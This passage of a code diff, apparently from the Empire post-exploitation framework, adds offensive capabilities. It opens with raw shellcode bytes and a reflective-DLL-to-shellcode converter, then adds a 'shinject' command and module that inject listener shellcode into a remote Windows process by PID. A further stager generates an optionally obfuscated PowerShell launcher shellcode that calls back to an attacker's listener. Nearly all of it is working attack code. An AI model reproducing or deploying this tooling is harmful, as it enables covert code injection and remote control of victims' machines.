x4C\x03\xC6\x33\xC9\x41\x0F\xBE\x00\x4C\x03\xC5\xC1\xC9\x0D\x03\xC8\x41\x80\x78\xFF\x00\x75\xED\x44\x3B\xF9\x74\x10\x03\xDD\x49\x83\xC2\x04\x4D\x03\xCD\x41\x3B\xDB\x72\xD2\xEB\x2D\x41\x0F\xB7\x01\x83\xF8\xFF\x74\x24\x8B\x52\x1C\x48\x8B\x8C\x24\xD0\x00\x00\x00\xC1\xE0\x02\x48\x98\x48\x03\xC6\x44\x8B\x04\x02\x8B\x94\x24\xD8\x00\x00\x00\x4C\x03\xC6\x41\xFF\xD0\x48\x8B\xC6\x48\x83\xC4\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\x5B\xC3\xCC\xCC\xCC\x48\x89\x5C\x24\x08\x48\x89\x74\x24\x10\x57\x48\x83\xEC\x10\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x8B\xF1\x48\x8B\x50\x18\x4C\x8B\x4A\x10\x4D\x8B\x41\x30\x4D\x85\xC0\x0F\x84\xB4\x00\x00\x00\x41\x0F\x10\x41\x58\x49\x63\x40\x3C\x33\xD2\x4D\x8B\x09\xF3\x0F\x7F\x04\x24\x42\x8B\x9C\x00\x88\x00\x00\x00\x85\xDB\x74\xD4\x48\x8B\x04\x24\x48\xC1\xE8\x10\x44\x0F\xB7\xD0\x45\x85\xD2\x74\x21\x48\x8B\x4C\x24\x08\x45\x8B\xDA\x0F\xBE\x01\xC1\xCA\x0D\x80\x39\x61\x7C\x03\x83\xC2\xE0\x03\xD0\x48\xFF\xC1\x49\x83\xEB\x01\x75\xE7\x4D\x8D\x14\x18\x33\xC9\x41\x8B\x7A\x20\x49\x03\xF8\x41\x39\x4A\x18\x76\x8F\x8B\x1F\x45\x33\xDB\x49\x03\xD8\x48\x8D\x7F\x04\x0F\xBE\x03\x48\xFF\xC3\x41\xC1\xCB\x0D\x44\x03\xD8\x80\x7B\xFF\x00\x75\xED\x41\x8D\x04\x13\x3B\xC6\x74\x0D\xFF\xC1\x41\x3B\x4A\x18\x72\xD1\xE9\x5B\xFF\xFF\xFF\x41\x8B\x42\x24\x03\xC9\x49\x03\xC0\x0F\xB7\x14\x01\x41\x8B\x4A\x1C\x49\x03\xC8\x8B\x04\x91\x49\x03\xC0\xEB\x02\x33\xC0\x48\x8B\x5C\x24\x20\x48\x8B\x74\x24\x28\x48\x83\xC4\x10\x5F\xC3" + + if is64BitDLL(dllBytes): + + rdiShellcode = rdiShellcode64 + + bootstrap = b'' + bootstrapSize = 64 + + # call next instruction (Pushes next instruction address to stack) + bootstrap += b'\xe8\x00\x00\x00\x00' + + # Set the offset to our DLL from pop result + dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode) + + # pop rcx - Capture our current location in memory + bootstrap += b'\x59' + + # mov r8, rcx - copy our location in memory to r8 before we start modifying RCX + bootstrap += b'\x49\x89\xc8' + + # add rcx, + bootstrap += b'\x48\x81\xc1' + bootstrap += pack('I', dllOffset) + + # mov edx, + bootstrap += b'\xba' + bootstrap += pack('I', functionHash) + + # Setup the location of our user data + # add r8, + + bootstrap += b'\x49\x81\xc0' + userDataLocation = dllOffset + len(dllBytes) + bootstrap += pack('I', userDataLocation) + + # mov r9d, + bootstrap += b'\x41\xb9' + bootstrap += pack('I', len(userData)) + + # push rsi - save original value + bootstrap += b'\x56' + + # mov rsi, rsp - store our current stack pointer for later + bootstrap += b'\x48\x89\xe6' + + # and rsp, 0x0FFFFFFFFFFFFFFF0 - Align the stack to 16 bytes + bootstrap += b'\x48\x83\xe4\xf0' + + # sub rsp, 0x30 - Create some breathing room on the stack + bootstrap += b'\x48\x83\xec' + bootstrap += b'\x30' # 32 bytes for shadow space + 8 bytes for last arg + 8 bytes for stack alignment + + # mov dword ptr [rsp + 0x20], - Push arg 5 just above shadow space + bootstrap += b'\xC7\x44\x24' + bootstrap += b'\x20' + bootstrap += pack('I', flags) + + # call - Transfer execution to the RDI + bootstrap += b'\xe8' + bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions + bootstrap += b'\x00\x00\x00' + + # mov rsp, rsi - Reset our original stack pointer + bootstrap += b'\x48\x89\xf4' + + # pop rsi - Put things back where we left them + bootstrap += b'\x5e' + + # ret - return to caller + bootstrap += b'\xc3' + + # Ends up looking like this in memory: + # Bootstrap shellcode + # RDI shellcode + # DLL bytes + # User data + return bootstrap + rdiShellcode + dllBytes + userData + + else: # 32 bit + rdiShellcode = rdiShellcode32 + + bootstrap = b'' + bootstrapSize = 45 + + # call next instruction (Pushes next instruction address to stack) + bootstrap += b'\xe8\x00\x00\x00\x00' + + # Set the offset to our DLL from pop result + dllOffset = bootstrapSize - len(bootstrap) + len(rdiShellcode) + + # pop ecx - Capture our current location in memory + bootstrap += b'\x58' + + # mov ebx, eax - copy our location in memory to ebx before we start modifying eax + bootstrap += b'\x89\xc3' + + # add eax, + bootstrap += b'\x05' + bootstrap += pack('I', dllOffset) + + # add ebx, + + bootstrap += b'\x81\xc3' + userDataLocation = dllOffset + len(dllBytes) + bootstrap += pack('I', userDataLocation) + + # push + bootstrap += b'\x68' + bootstrap += pack('I', flags) + + # push + bootstrap += b'\x68' + bootstrap += pack('I', len(userData)) + + # push ebx + bootstrap += b'\x53' + + # push + bootstrap += b'\x68' + bootstrap += pack('I', functionHash) + + # push eax + bootstrap += b'\x50' + + # call - Transfer execution to the RDI + bootstrap += b'\xe8' + bootstrap += pack('b', bootstrapSize - len(bootstrap) - 4) # Skip over the remainder of instructions + bootstrap += b'\x00\x00\x00' + + # add esp, 0x14 - correct the stack pointer + bootstrap += b'\x83\xc4\x14' + + # ret - return to caller + bootstrap += b'\xc3' + + # Ends up looking like this in memory: + # Bootstrap shellcode + # RDI shellcode + # DLL bytes + # User data + return bootstrap + rdiShellcode + dllBytes + userData + + return False diff --git a/lib/common/empire.py b/lib/common/empire.py index 077ac0a..de1218d 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -2127,6 +2127,37 @@ class PowerShellAgentMenu(SubMenu): print helpers.color("[!] Injection requires you to specify listener") + def do_shinject(self, line): + "Inject non-meterpreter listener shellcode into a remote process. Ex. shinject " + + if line: + if self.mainMenu.modules.modules['powershell/management/shinject']: + module = self.mainMenu.modules.modules['powershell/management/shinject'] + listenerID = line.split(' ')[0].strip() + arch = line.split(' ')[-1] + module.options['Listener']['Value'] = listenerID + module.options['Arch']['Value'] = arch + + if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID): + if len(line.split(' ')) == 3: + target = line.split(' ')[1].strip() + if target.isdigit(): + module.options['ProcId']['Value'] = target + else: + print helpers.color('[!] Please enter a valid process ID.') + + module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID) + module_menu = ModuleMenu(self.mainMenu, 'powershell/management/shinject') + module_menu.do_execute("") + else: + print helpers.color('[!] Please select a valid listener') + + else: + print helpers.color("[!] powershell/management/psinject module not loaded") + + else: + print helpers.color("[!] Injection requires you to specify listener") + def do_injectshellcode(self, line): "Inject listener shellcode into a remote process. Ex. injectshellcode " @@ -2347,6 +2378,11 @@ class PowerShellAgentMenu(SubMenu): self.mainMenu.do_creds(line) + def complete_shinject(self, text, line, begidx, endidx): + "Tab-complete psinject option values." + + return self.complete_psinject(text, line, begidx, endidx) + def complete_psinject(self, text, line, begidx, endidx): "Tab-complete psinject option values." diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 6fc5d2e..8e985a6 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -25,6 +25,7 @@ import shutil import zipfile import subprocess from itertools import izip, cycle +from ShellcodeRDI import * import base64 @@ -133,6 +134,39 @@ class Stagers: else: print helpers.color("[!] Original .dll for arch %s does not exist!" % (arch)) + def generate_shellcode(self, poshCode, arch): + """ + Generate shellcode using monogas's sRDI python module and the PowerPick reflective DLL + """ + if arch.lower() == 'x86': + origPath = "{}/data/misc/x86_slim.dll".format(self.mainMenu.installPath) + else: + origPath = "{}/data/misc/x64_slim.dll".format(self.mainMenu.installPath) + + if os.path.isfile(origPath): + + dllRaw = '' + with open(origPath, 'rb') as f: + dllRaw = f.read() + + replacementCode = helpers.decode_base64(poshCode) + + # patch the dll with the new PowerShell code + searchString = (("Invoke-Replace").encode("UTF-16"))[2:] + index = dllRaw.find(searchString) + dllPatched = dllRaw[:index]+replacementCode+dllRaw[(index+len(replacementCode)):] + + flags = 0 + flags |= 0x1 + + sc = ConvertToShellcode(dllPatched, flags=flags) + + return sc + + else: + print helpers.color("[!] Original .dll for arch {} does not exist!".format(arch)) + + def generate_macho(self, launcherCode): """ diff --git a/lib/modules/powershell/management/shinject.py b/lib/modules/powershell/management/shinject.py new file mode 100644 index 0000000..2026e10 --- /dev/null +++ b/lib/modules/powershell/management/shinject.py @@ -0,0 +1,152 @@ +from lib.common import helpers + + +class Module: + + def __init__(self, mainMenu, params=[]): + + # Metadata info about the module, not modified during runtime + self.info = { + # Name for the module that will appear in module menus + 'Name': 'Shinject', + + # List of one or more authors for the module + 'Author': ['@xorrior','@mattefistation','@monogas'], + + # More verbose multi-line description of the module + 'Description': ('Injects a PIC shellcode payload into a target process, via Invoke-Shellcode'), + + # True if the module needs to run in the background + 'Background': True, + + # File extension to save the file as + 'OutputExtension': None, + + # True if the module needs admin rights to run + 'NeedsAdmin': False, + + # True if the method doesn't touch disk/is reasonably opsec safe + 'OpsecSafe': True, + + # The language for this module + 'Language': 'powershell', + + # The minimum PowerShell version needed for the module to run + 'MinLanguageVersion': '2', + + # List of any references/other comments + 'Comments': [ + 'comment', + '' + ] + } + + # Any options needed by the module, settable during runtime + self.options = { + # Format: + # value_name : {description, required, default_value} + 'Agent': { + # The 'Agent' option is the only one that MUST be in a module + 'Description': 'Agent to run the module on.', + 'Required' : True, + 'Value' : '' + }, + 'ProcId' : { + 'Description' : 'ProcessID to inject into.', + 'Required' : True, + 'Value' : '' + }, + 'Arch' : { + 'Description' : 'Architecture of the target process.', + 'Required' : True, + 'Value' : '' + }, + 'Listener' : { + 'Description' : 'Listener to use.', + 'Required' : True, + 'Value' : '' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + } + } + + # Save off a copy of the mainMenu object to access external + # functionality like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + # During instantiation, any settable option parameters are passed as + # an object set to the module and the options dictionary is + # automatically set. This is mostly in case options are passed on + # the command line. + if params: + for param in params: + # Parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self, obfuscate=False, obfuscationCommand=""): + + listenerName = self.options['Listener']['Value'] + procID = self.options['ProcId']['Value'].strip() + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + arch = self.options['Arch']['Value'] + + moduleSource = self.mainMenu.installPath + "/data/module_source/code_execution/Invoke-Shellcode.ps1" + if obfuscate: + helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) + moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + # If you'd just like to import a subset of the functions from the + # module source, use the following: + # script = helpers.generate_dynamic_powershell_script(moduleCode, ["Get-Something", "Set-Something"]) + script = moduleCode + scriptEnd = "; shellcode injected into pid {}".format(str(procID)) + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: {}".format(listenerName)) + return '' + else: + # generate the PowerShell one-liner with all of the proper options set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) + + if launcher == '': + print helpers.color('[!] Error in launcher generation.') + return '' + else: + launcherCode = launcher.split(' ')[-1] + + sc = self.mainMenu.stagers.generate_shellcode(launcherCode, arch) + + encoded_sc = helpers.encode_base64(sc) + + # Add any arguments to the end execution of the script + + script += "\n Invoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc) + script += scriptEnd + return script diff --git a/lib/stagers/windows/shellcode.py b/lib/stagers/windows/shellcode.py new file mode 100644 index 0000000..460a369 --- /dev/null +++ b/lib/stagers/windows/shellcode.py @@ -0,0 +1,122 @@ +from lib.common import helpers + +class Stager: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Shellcode Launcher', + + 'Author': ['@xorrior', '@monogas'], + + 'Description': ('Generate a windows shellcode stager'), + + 'Commemts': [ + '' + ] + } + + self.options = { + 'Listener' : { + 'Description' : 'Listener to generate stager for.', + 'Required' : True, + 'Value' : '' + }, + 'Language' : { + 'Description' : 'Language of the stager to generate.', + 'Required' : True, + 'Value' : 'powershell' + }, + 'Arch' : { + 'Description' : 'Architecture of the .dll to generate (x64 or x86).', + 'Required' : True, + 'Value' : 'x64' + }, + 'StagerRetries' : { + 'Description' : 'Times for the stager to retry connecting.', + 'Required' : False, + 'Value' : '0' + }, + 'UserAgent' : { + 'Description' : 'User-agent string to use for the staging request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'Proxy' : { + 'Description' : 'Proxy to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'ProxyCreds' : { + 'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).', + 'Required' : False, + 'Value' : 'default' + }, + 'OutFile' : { + 'Description' : 'File to output dll to.', + 'Required' : True, + 'Value' : '/tmp/launcher.bin' + }, + 'Obfuscate' : { + 'Description' : 'Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.', + 'Required' : False, + 'Value' : 'False' + }, + 'ObfuscateCommand' : { + 'Description' : 'The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.', + 'Required' : False, + 'Value' : r'Token\All\1' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + listenerName = self.options['Listener']['Value'] + arch = self.options['Arch']['Value'] + + # staging options + language = self.options['Language']['Value'] + userAgent = self.options['UserAgent']['Value'] + proxy = self.options['Proxy']['Value'] + proxyCreds = self.options['ProxyCreds']['Value'] + stagerRetries = self.options['StagerRetries']['Value'] + obfuscate = self.options['Obfuscate']['Value'] + obfuscateCommand = self.options['ObfuscateCommand']['Value'] + + if not self.mainMenu.listeners.is_listener_valid(listenerName): + # not a valid listener, return nothing for the script + print helpers.color("[!] Invalid listener: " + listenerName) + return "" + else: + + if obfuscate.lower() == "true": + obfuscateScript = True + else: + obfuscateScript = False + + if obfuscate.lower() == "true" and "launcher" in obfuscateCommand.lower(): + print helpers.color("[!] if using obfuscation, LAUNCHER obfuscation cannot be used in the dll stager.") + return "" + + # generate the PowerShell one-liner with all of the proper options are set + launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, obfuscate=obfuscateScript, obfuscationCommand=obfuscateCommand, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries) + + if launcher == "": + print helpers.color("[!] Error in launcher generation.") + return "" + else: + launcherCode = launcher.split(" ")[-1] + + shellcode = self.mainMenu.stagers.generate_shellcode(launcherCode, arch) + + return shellcode \ No newline at end of file